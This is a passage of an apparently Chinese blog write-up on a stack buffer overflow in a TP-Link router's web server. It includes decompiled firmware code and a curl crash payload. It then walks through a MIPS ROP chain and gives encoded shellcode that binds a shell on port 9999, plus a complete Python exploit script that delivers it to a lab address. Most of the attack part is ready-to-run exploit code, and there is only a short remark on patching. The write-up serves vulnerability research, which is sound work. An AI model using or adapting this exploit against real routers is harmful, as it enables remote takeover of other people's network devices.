atoi(pcVar9); if (uStack3612 - 1 < 8 ) { uStack3412 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548138); if (pcVar9 != (char *)0x0 ) { iVar1 = strcmp (pcVar9,"true" ); if ((iVar1 == 0 ) || (iVar1 = atoi(pcVar9), iVar1 == 1 )) { uStack3408 = 1 ; } else { uStack3408 = 0 ; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_0054813c); if (pcVar9 != (char *)0x0 ) { iVar1 = strcmp (pcVar9,"true" ); if ((iVar1 == 0 ) || (iVar1 = atoi(pcVar9), iVar1 == 1 )) { uStack3404 = 1 ; } else { uStack3404 = 0 ; } } pcVar9 = (char *)httpGetEnv(param_1,"select" ); if (pcVar9 != (char *)0x0 ) { iVar1 = strcmp (pcVar9,"true" ); if ((iVar1 == 0 ) || (iVar1 = atoi(pcVar9), iVar1 == 1 )) { uStack3400 = 1 ; } else { uStack3400 = 0 ; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548140); if (pcVar9 != (char *)0x0 ) { iStack3396 = atoi(pcVar9); } httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "pagePara" ); writePageParamSet(param_1,&DAT_00544d38,acStack3460,0 ); writePageParamSet(param_1,"%d," ,&uStack3424,1 ); writePageParamSet(param_1,"%d," ,&uStack3420,2 ); writePageParamSet(param_1,"%d," ,&uStack3416,3 ); writePageParamSet(param_1,"%d," ,&uStack3412,4 ); writePageParamSet(param_1,"%d," ,&uStack3408,5 ); writePageParamSet(param_1,"%d," ,&uStack3404,6 ); writePageParamSet(param_1,"%d," ,&uStack3400,7 ); writePageParamSet(param_1,"%d," ,&iStack3396,8 ); httpPrintf(param_1,"0,0 );\n</SCRIPT>\n" ); httpPrintf(param_1,"<script language=JavaScript>\nvar isInScanning = 0;\n</script>" ); if ((auStack3600[0 ] < 9 ) && ((1 << (auStack3600[0 ] & 0x1f ) & 0x1c8 U) != 0 )) { HttpWebV4Head(param_1,0 ,0 ); pcVar9 = "/userRpm/popupSiteSurveyRpm_AP.htm" ; } else { HttpWebV4Head(param_1,0 ,1 ); pcVar9 = "/userRpm/popupSiteSurveyRpm.htm" ; } } iVar1 = httpRpmFsA(param_1,pcVar9); if (iVar1 == 2 ) { return 2 ; } sVar10 = HttpErrorPage(param_1,10 ,0 ,0 ); LAB_0045fa54: return (int )sVar10; }
我们使用curl发送HTTP请求给我们的路由器,测试漏洞是否存在。为了能够访问存在漏洞的服务,我们首先需要登陆,即我们需要抓取登陆后的Cookie (此处为*%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D)和*path (此处为MKSRWOTBRLXMCITC ),然后作为发送参数。
使用curl来写入我们的payload,httpd发生段错误,并且程序控制流呗控制为0x61656161
1 curl -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://10.211.55.8/YEHFDFSAMIIOATRA/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print( "/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")')''
很明显缓冲区溢出发生在函数writePageParamSet,并且在其返回的时候劫持了函数执行流。最后lw了四个寄存器ra,s2,s1,s1,s0,通过这个可以辅助判断我们发生溢出的大概位置。执行之后sp会加0x288,当然这条指令是在跳转之前执行的,因为指令流水线。
另外一边,我们看到页面打印出大量的</br>
,也验证了我们之前的代码审计,writePageParamSet是将输入的数据写入Javascript的Param对象中。同时也通过1位字节换4位字节的方式写入超出界限的数据,如果要修补这个漏洞也很简单,只需要将缓冲区扩大四倍就行了,或者修改stringModify,让产生</br>
的时候指针size+4而不是size+1。
经过计算payload每一位应为0x55 “/%0A”+2+s0+s1+s2+ra *
在溢出区域出放置地址我们就能够成功控制程序流。让我们用python实现一下poc.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport socketimport socksimport urllibdefault_socket = socket.socket socket.socket = socks.socksocket session = requests.Session() session.verify = False def exp (path,cookie ): headers = { "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" , "Cookie" :"Authorization=Basic{cookie}" .format (cookie=str (cookie))} payload="/%0A" *0x55 + "abcdefghijklmn" +"\x78\x56\x34\x12" params = { "mode" :"1000" , "curRegion" :"1000" , "chanWidth" :"100" , "channel" :"1000" , "ssid" :urllib.request.unquote(payload) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm" .format (path=str (path)) resp = session.get(url,params=params,headers=headers,timeout=10 ) print (resp.text) exp("AYEUYUFAXVOKELRC" ,"%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D" )
漏洞利用 接下来让我们为这个漏洞编写一下利用脚本,语言我们使用python2.7。
利用时要注意Mips架构下默认ASLR是不开启的,并且heap和sgack是可执行的,所以直接跳转到shellcode即可。不过由于缓存不一致性,我们需要使用ROP。
注意Mips是大端的,数据存放方式与小端是相反的。并且在gdb调试后后记得endian为big,否则断点是断不下来的。
构造ROP链
Mips指令集包含一种的**cache incoherency(缓存不一致性) **,指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache,否则会执行失败,不能像x86架构下直接跳转到shellcode,而是需要构造如下一条ROP链接,先调用sleep,然后在跳转到shellcode。
1 sleep(1) -> read_value_from_stack -> jump to stack(shellcode)
Mips的栈并没有pop和push,而是直接调用栈,ROP链构造和x86有一些区别,不过总体上逻辑应该是更加简单了,不过gadgets比较难找(因为全是寄存器操作)。
注意的是,pwntools需要专门设置为大端,否则默认小端。
寻找gadgets
经过上文的分析,我们知道我们能够布置栈,来控制s0~s2和ra寄存器。初始我们将ra覆盖为gadget1,用于修改寄存器$a0,将sleep函数的地址放在s2备用,将gadgets放在s1用于下一次跳转。另外,使用gadgets需要考虑流水线效应。
Gadget1,修改寄存器$a0(作为调用sleep的参数)
1 2 3 LOAD:0000E204 move $t9, $s1 LOAD:0000E208 jalr $t9 ; sysconf LOAD:0000E20C li $a0, 3
Gadget2,完成两个功能,1.调用sleep函数,2.跳转到下一个gadgets。首先调用sleep函数(之前存放在s2中),并且结束之后sp会增加0x28字节。在结束之前也会修改ra等寄存器的值,不过这里需要注意的是0x28+var_10($sp)的意思是sp+0x28-0x10地址。(Mips是通过偏移来获得栈内参数的),这里也要先设置好ra的值。调用sleep之后,程序会跳转到ra指向的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 LOAD:00037470 move $t9, $s2 LOAD:00037474 lw $ra, 0x28+var_4($sp) LOAD:00037478 lw $s2, 0x28+var_8($sp) LOAD:0003747C lw $s1, 0x28+var_C($sp) LOAD:00037480 lw $s0, 0x28+var_10($sp) LOAD:00037484 LOAD:00037484 loc_37484: # DATA XREF: xdr_callhdr↓o LOAD:00037484 jr $t9 ; xdr_opaque_auth LOAD:00037488 addiu $sp, 0x28 #其实这段代码用gdb的反汇编看起来反而更加易懂一些 => 0x77f70470: move t9,s2 0x77f70474: lw ra,36(sp) 0x77f70478: lw s2,32(sp) 0x77f7047c: lw s1,28(sp) 0x77f70480: lw s0,24(sp) 0x77f70484: jr t9 0x77f70488: addiu sp,sp,40
Gadget3,用于将栈底地址写入a1,即我们布置的shellcode的地址。
1 2 3 4 LOAD:0000E904 addiu $a1, $sp, 0x168+var_150 LOAD:0000E908 move $t9, $s1 LOAD:0000E90C jalr $t9 ; stat64 LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)
Gadget4,跳转到shellcode
1 2 3 4 5 LOAD:000374D8 move $t9, $a1 LOAD:000374DC sw $v0, 0x4C($a0) LOAD:000374E0 move $a1, $a2 LOAD:000374E4 jr $t9 LOAD:000374E8 addiu $a0, 0x4C # 'L'
调试问题解决:
我们写入到payload的地址数据被转义,导致无法跳转?0x77f47204
中的f被转义成了c3b。也有可能是python在发送时候把\f转义了,这个问题我换成python2之后就解决了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *import requestsimport socketimport socksimport urllibimport structdefault_socket = socket.socket socket.socket = socks.socksocket session = requests.Session() session.verify = False context.endian = 'big' libc_base=0x77f39000 li_a0=0x000E204 jar_t9=0x00045238 payload= "/%0A" *0x55 + "abcdefghijklmn" payload+=p32(0x77f7e238 ) def exp (path,cookie ): headers = { "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" , "Cookie" :"Authorization=Basic{cookie}" .format (cookie=str (cookie))} params = { "mode" :"1000" , "curRegion" :"1000" , "chanWidth" :"100" , "channel" :"1000" , "ssid" :urllib.unquote(payload) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm" .format (path=str (path)) resp = session.get(url,params=params,headers=headers,timeout=10 ) print (resp.text) exp("SZJVVFBANECQPKOC" ,"%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D" )
shellcode(连接本地9999端口)
因为我们的数据\c3会被转义,一种方式是指令替换,另一种方式是指令逃逸。shellcode参考地址 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 main: addiu $t6,$zero,-3 nor $a0,$t6,$zero #addi $a0,$zero,2 nor $a1,$t6,$zero #addi $a1,$zero,2 slti $a2,$zero,-1 #lui $a2,0 addiu $v0,$zero,4183 syscall 0x40404 sw $v0,-1($sp) lw $a0,-1($sp) li $t6,0xFFFF nor $t6,$t6,$zero #lui $t6,0 sw $t6,-10($sp) sw $t6,-12($sp) #bind(serverfd,(struct sockaddr *)&server,sizeof(server)); li $t7,0xD8F0 nor $t7,$t7,$zero sw $t7,-14($sp) li $t7,0xFFFD nor $t7,$t7,$zero;#lui $t7,0x2;ori $t7,0x270F sw $t7,-16($sp) addiu $a1,$sp,-14 addiu $t7,$zero,-17 nor $a2,$t7,$zero #li $a2,16 addiu $v0,$zero,4170 syscall 0x40404 lw $a0,-1($sp) slti $a1,$zero,-1 #li $a1,0 addiu $v0,$zero,4063 syscall 0x40404 sltiu $a1,$zero,-1 #li $a1,1 addiu $v0,$zero,4063 syscall 0x40404 addiu $t6,$zero,-3 nor $a1,$t6,$zero #li $a1,2 addiu $v0,$zero,4063 syscall 0x40404 li $t6,0x3d28 #0x77f93d28是/bin/sh字符串所在的地址 sw $t6,-30($sp) li $t6,0x77f9 sw $t6,-32($sp) lw $a0,-30($sp) slti $a1,$zero,-1 slti $a2,$zero,-1 addiu $v0,$zero,4011 syscall 0x40404
Exploit
编写好explioit,最后这个shellcode的内容是反弹到本地的9999端口,在本地用nc连接一下即可。
EXP.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *import requestsimport socketimport socksimport urllibimport structdefault_socket = socket.socket socket.socket = socks.socksocket session = requests.Session() session.verify = False context.endian = 'big' libc_base=0x77f39000 sleep =0x53CA0 g1=0x000E204 g2=0x00037470 g3=0x0000E904 g4=0x00374D8 shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff" shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff" shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4" shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd" shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef" shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff" shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff" shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27" shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2" shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff" shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c" s0=p32(0x11111111 ) s1=p32(g2+libc_base) s2=p32(sleep+libc_base) payload= "/%0A" *0x55 +2 *'x' +s0 +s1 +s2 payload+=p32(g1+libc_base) payload+='x' *28 payload+=p32(g4+libc_base) payload+=p32(0x33333333 ) payload+=p32(g3+libc_base) payload+='x' *24 payload+=shellcode def exp (path,cookie ): headers = { "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" , "Cookie" :"Authorization=Basic{cookie}" .format (cookie=str (cookie))} params = { "mode" :"1000" , "curRegion" :"1000" , "chanWidth" :"100" , "channel" :"1000" , "ssid" :urllib.unquote(payload) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm" .format (path=str (path)) resp = session.get(url,params=params,headers=headers,timeout=10 ) print (resp.text) exp("FMHSNOEAAJAKZBNA" ,"%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D" )
对漏洞模式的探究
参考 Linux系统调用Hook姿势总结
https://www.anquanke.com/post/id/203486
https://www.youtube.com/watch?v=0_GsX2xhngU
https://ktln2.org/2020/03/29/exploiting-mips-router/
https://zhuanlan.zhihu.com/p/314170234
https://bbs.pediy.com/thread-212369.htm
https://blog.senr.io/blog/why-is-my-perfectly-good-shellcode-not-working-cache-coherency-on-mips-and-arm
https://www.anquanke.com/post/id/202219
https://ctf-wiki.org/pwn/linux/mips/mips_rop/
http://www.tearorca.top/index.php/2020/04/21/cve-2020-8423tplink-wr841n-%E8%B7%AF%E7%94%B1%E5%99%A8%E6%A0%88%E6%BA%A2%E5%87%BA/
附录 UndefinedFunction_0045fa94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 int UndefinedFunction_0045fa94 (undefined4 param_1) { int iVar1; int iVar2; short sVar10; uint32_t uVar3; uint32_t uVar4; uint32_t uVar5; uint32_t uVar6; undefined4 uVar7; undefined1 *puVar8; char *pcVar9; size_t __n; uint uVar11; uint uStack3624; uint uStack3620; uint uStack3616; uint uStack3612; uint uStack3608; undefined4 uStack3604; uint auStack3600 [2 ]; uint32_t auStack3592 [4 ]; char acStack3576 [16 ]; char acStack3560 [20 ]; char acStack3540 [20 ]; undefined auStack3520 [24 ]; char acStack3496 [36 ]; char acStack3460 [36 ]; uint uStack3424; uint uStack3420; uint uStack3416; uint uStack3412; undefined4 uStack3408; undefined4 uStack3404; undefined4 uStack3400; int iStack3396; undefined auStack3392 [4 ]; int iStack3388; int iStack3384; undefined auStack3364 [348 ]; undefined uStack3016; byte bStack3015; byte abStack3013 [40 ]; byte bStack2973; ushort uStack2972; byte abStack2970 [2906 ]; undefined4 uStack64; char *pcStack60; char *pcStack56; undefined *puStack52; uint *puStack48; uint *puStack44; uStack3624 = 0 ; uStack3620 = 0 ; uStack3616 = 0 ; uStack3612 = 0 ; uStack3608 = 0 ; iVar1 = swGetBoardType(0 ,param_1); swWlanBasicCfgGet(0 ,auStack3392); swGetSystemMode(auStack3600); httpStatusSet(param_1,0 ); httpHeaderGenerate(param_1); iVar2 = HttpAccessPermit(param_1); if (iVar2 == 0 ) { iVar2 = getRefererFlag(); if (iVar2 == 0 ) { sVar10 = HttpDenyPage(param_1); goto LAB_0045fa54; } setRefererFlag(0 ); } memset (&uStack3016,0 ,0xb82 ); iVar2 = swGetBoardType(); if (iVar2 == 0 ) { iVar2 = httpGetEnv(param_1,"getWdsResult" ); if (iVar2 != 0 ) { swWlanWDSScan(0 ,&uStack3016,0 ); goto LAB_0045eee4; } memcpy (auStack3520,"popupSiteSurveyRpm.htm" ,0x17 ); uStack3604 = 0x19 ; uStack64 = httpGetEnv(param_1,"QUERY_STRING" ); swGetLanCfg(auStack3592); uVar3 = ntohl(auStack3592[0 ]); uVar4 = ntohl(auStack3592[0 ]); uVar5 = ntohl(auStack3592[0 ]); uVar6 = ntohl(auStack3592[0 ]); sprintf (acStack3576,"%d.%d.%d.%d" ,uVar3 >> 0x18 ,uVar4 >> 0x10 & 0xff ,(int )(uVar5 & 0xff00 ) >> 8 , uVar6 & 0xff ); swWlanWDSScan(0 ,&uStack3016,1 ); httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "waitWdsInf" ); writePageParamSet(param_1,&DAT_00544d38,auStack3520,0 ); writePageParamSet(param_1,&DAT_00544d38,uStack64,1 ); writePageParamSet(param_1,"%d," ,&uStack3604,2 ); writePageParamSet(param_1,&DAT_00544d38,acStack3576,3 ); httpPrintf(param_1,"0,0 );\n</SCRIPT>\n" ); HttpWebV4Head(param_1,0 ,1 ); pcVar9 = "/userRpm/WaitForWdsScanResult.htm" ; } else { swWlanActivateScan(0 ,&uStack3016); LAB_0045eee4: if (auStack3600[0 ] == 4 ) { iVar2 = 1 ; iStack3388 = iStack3384; LAB_0045ef34: if (iStack3388 == iVar2) { uVar7 = wlanGetApDevName(0 ); swWlanInactiveVap(uVar7); } } else { if (auStack3600[0 ] < 5 ) { if (auStack3600[0 ] == 3 ) { LAB_0045ef20: iVar2 = 3 ; goto LAB_0045ef34; } } else { if (auStack3600[0 ] - 6 < 3 ) goto LAB_0045ef20; } } uVar11 = (uint)bStack3015; uStack3608 = uVar11; if (iVar1 == 0 ) { uStack3612 = 0 ; while ((int )uStack3612 < (int )uVar11) { uStack3620 = (uint)*(ushort *)(&bStack2973 + uStack3612 * 0x2e + 1 ); if ((uStack3620 - 0x34 < 0xd ) || (uStack3620 - 100 < 0x29 )) { HTTP_DEBUG_PRINT("wireless/httpWlanCfg.c:190" , "**: filter out ap working on dfs chan(%d)\n" ,uStack3620); uStack3608 = uStack3608 - 1 ; } uStack3612 = uStack3612 + 1 ; } } httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "siteSurveyPara" ); uStack3612 = 2 ; writePageParamSet(param_1,"%d," ,&uStack3612,0 ); writePageParamSet(param_1,"%d," ,&uStack3608,1 ); if (((auStack3600[0 ] - 7 < 2 ) || (auStack3600[0 ] == 3 )) || (auStack3600[0 ] == 6 )) { puVar8 = (undefined1 *)httpGetEnv(param_1,&DAT_005480cc); if (puVar8 == (undefined1 *)0x0 ) { puVar8 = &DAT_00552af0; } writePageParamSet(param_1,&DAT_00544d38,puVar8,0 ); puVar8 = (undefined1 *)httpGetEnv(param_1,"iSSID" ); if (puVar8 == (undefined1 *)0x0 ) { puVar8 = &DAT_00552af0; } writePageParamSet(param_1,&DAT_00544d38,puVar8,0 ); puVar8 = (undefined1 *)httpGetEnv(param_1,"iWdsChan" ); if (puVar8 == (undefined1 *)0x0 ) { puVar8 = &DAT_00552af0; } writePageParamSet(param_1,&DAT_00544d38,puVar8,0 ); } httpPrintf(param_1,"0,0 );\n</SCRIPT>\n" ); httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "mptBssid" ); uStack3612 = 0 ; while ((int )uStack3612 < 4 ) { writePageParamSet(param_1,&DAT_00544d38,auStack3364 + uStack3612 * 0x2c ,uStack3612); uStack3612 = uStack3612 + 1 ; } httpPrintf(param_1,"0,0 );\n</SCRIPT>\n" ); httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "siteList" ); pcStack60 = acStack3560; pcStack56 = acStack3540; puStack52 = &uStack3016; uStack3612 = 0 ; puStack48 = &uStack3620; puStack44 = &uStack3616; while ((int )uStack3612 < (int )uVar11) { if ((iVar1 != 0 ) || ((uStack3620 = (uint)*(ushort *)(&bStack2973 + uStack3612 * 0x2e + 1 ), 0xc < uStack3620 - 0x34 && (0x28 < uStack3620 - 100 )))) { iVar2 = uStack3612 * 0x2e ; sprintf (pcStack60,"%02X-%02X-%02X-%02X-%02X-%02X" ,(uint)abStack3013[iVar2], (uint)abStack3013[iVar2 + 1 ],(uint)abStack3013[(uStack3612 * 0x17 + 1 ) * 2 ], (uint)abStack3013[iVar2 + 3 ],(uint)abStack3013[iVar2 + 4 ], (uint)abStack3013[iVar2 + 5 ]); strncpy (pcStack56,pcStack60,0x12 ); writePageParamSet(param_1,&DAT_00544d38,pcStack56,0 ); strncpy (acStack3496,puStack52 + uStack3612 * 0x2e + 10 ,0x21 ); writePageParamSet(param_1,&DAT_00544d38,acStack3496,1 ); uStack3624 = (uint)(&bStack2973)[uStack3612 * 0x2e ]; writePageParamSet(param_1,"%d," ,&uStack3624,2 ); if ((iVar1 == 4 ) || (iVar1 == 7 )) { uStack3620 = (int )(*(ushort *)(&bStack2973 + uStack3612 * 0x2e + 1 ) - 0x967 ) / 5 ; if (0xe < (int )uStack3620) { uStack3620 = 0xe ; } } else { uStack3620 = (uint)*(ushort *)(&bStack2973 + uStack3612 * 0x2e + 1 ); } writePageParamSet(param_1,"%d," ,puStack48,3 ); uStack3616 = (uint)(&bStack2973)[uStack3612 * 0x2e + 3 ]; writePageParamSet(param_1,"%d," ,puStack44,4 ); } uStack3612 = uStack3612 + 1 ; } httpPrintf(param_1,"0,0 );\n</SCRIPT>\n" ); memset (acStack3460,0 ,0x44 ); uStack3612 = 0 ; pcVar9 = (char *)httpGetEnv(param_1,"ssid" ); if (pcVar9 == (char *)0x0 ) { acStack3460[0 ] = '\0' ; } else { __n = strlen (pcVar9); strncpy (acStack3460,pcVar9,__n); } pcVar9 = (char *)httpGetEnv(param_1,"curRegion" ); if (pcVar9 == (char *)0x0 ) { uStack3424 = 0x11 ; } else { uStack3612 = atoi(pcVar9); if (uStack3612 < 0x6c ) { uStack3424 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"channel" ); if (pcVar9 == (char *)0x0 ) { uStack3420 = 6 ; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 0xf ) { uStack3420 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"chanWidth" ); if (pcVar9 == (char *)0x0 ) { uStack3416 = 2 ; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 3 ) { uStack3416 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"mode" ); if (pcVar9 == (char *)0x0 ) { uStack3412 = 1 ; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 8 ) { uStack3412 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548138); if (pcVar9 != (char *)0x0 ) { iVar1 = strcmp (pcVar9,"true" ); if ((iVar1 == 0 ) || (iVar1 = atoi(pcVar9), iVar1 == 1 )) { uStack3408 = 1 ; } else { uStack3408 = 0 ; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_0054813c); if (pcVar9 != (char *)0x0 ) { iVar1 = strcmp (pcVar9,"true" ); if ((iVar1 == 0 ) || (iVar1 = atoi(pcVar9), iVar1 == 1 )) { uStack3404 = 1 ; } else { uStack3404 = 0 ; } } pcVar9 = (char *)httpGetEnv(param_1,"select" ); if (pcVar9 != (char *)0x0 ) { iVar1 = strcmp (pcVar9,"true" ); if ((iVar1 == 0 ) || (iVar1 = atoi(pcVar9), iVar1 == 1 )) { uStack3400 = 1 ; } else { uStack3400 = 0 ; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548140); if (pcVar9 != (char *)0x0 ) { iStack3396 = atoi(pcVar9); } httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n" , "pagePara" ); writePageParamSet(param_1,&DAT_00544d38,acStack3460,0 ); writePageParamSet(param_1,"%d," ,&uStack3424,1 ); writePageParamSet(param_1,"%d," ,&uStack3420,2 ); writePageParamSet(param_1,"%d," ,&uStack3416,3 ); writePageParamSet(param_1,"%d," ,&uStack3412,4 ); writePageParamSet(param_1,"%d," ,&uStack3408,5 ); writePageParamSet(param_1,"%d," ,&uStack3404,6 ); writePageParamSet(param_1,"%d," ,&uStack3400,7 ); writePageParamSet(param_1,"%d," ,&iStack3396,8 ); httpPrintf(param_1,"0,0 );\n</SCRIPT>\n" ); httpPrintf(param_1,"<script language=JavaScript>\nvar isInScanning = 0;\n</script>" ); if ((auStack3600[0 ] < 9 ) && ((1 << (auStack3600[0 ] & 0x1f ) & 0x1c8 U) != 0 )) { HttpWebV4Head(param_1,0 ,0 ); pcVar9 = "/userRpm/popupSiteSurveyRpm_AP.htm" ; } else { HttpWebV4Head(param_1,0 ,1 ); pcVar9 = "/userRpm/popupSiteSurveyRpm.htm" ; } } iVar1 = httpRpmFsA(param_1,pcVar9); if (iVar1 == 2 ) { return 2 ; } sVar10 = HttpErrorPage(param_1,10 ,0 ,0 ); LAB_0045fa54: return (int )sVar10; }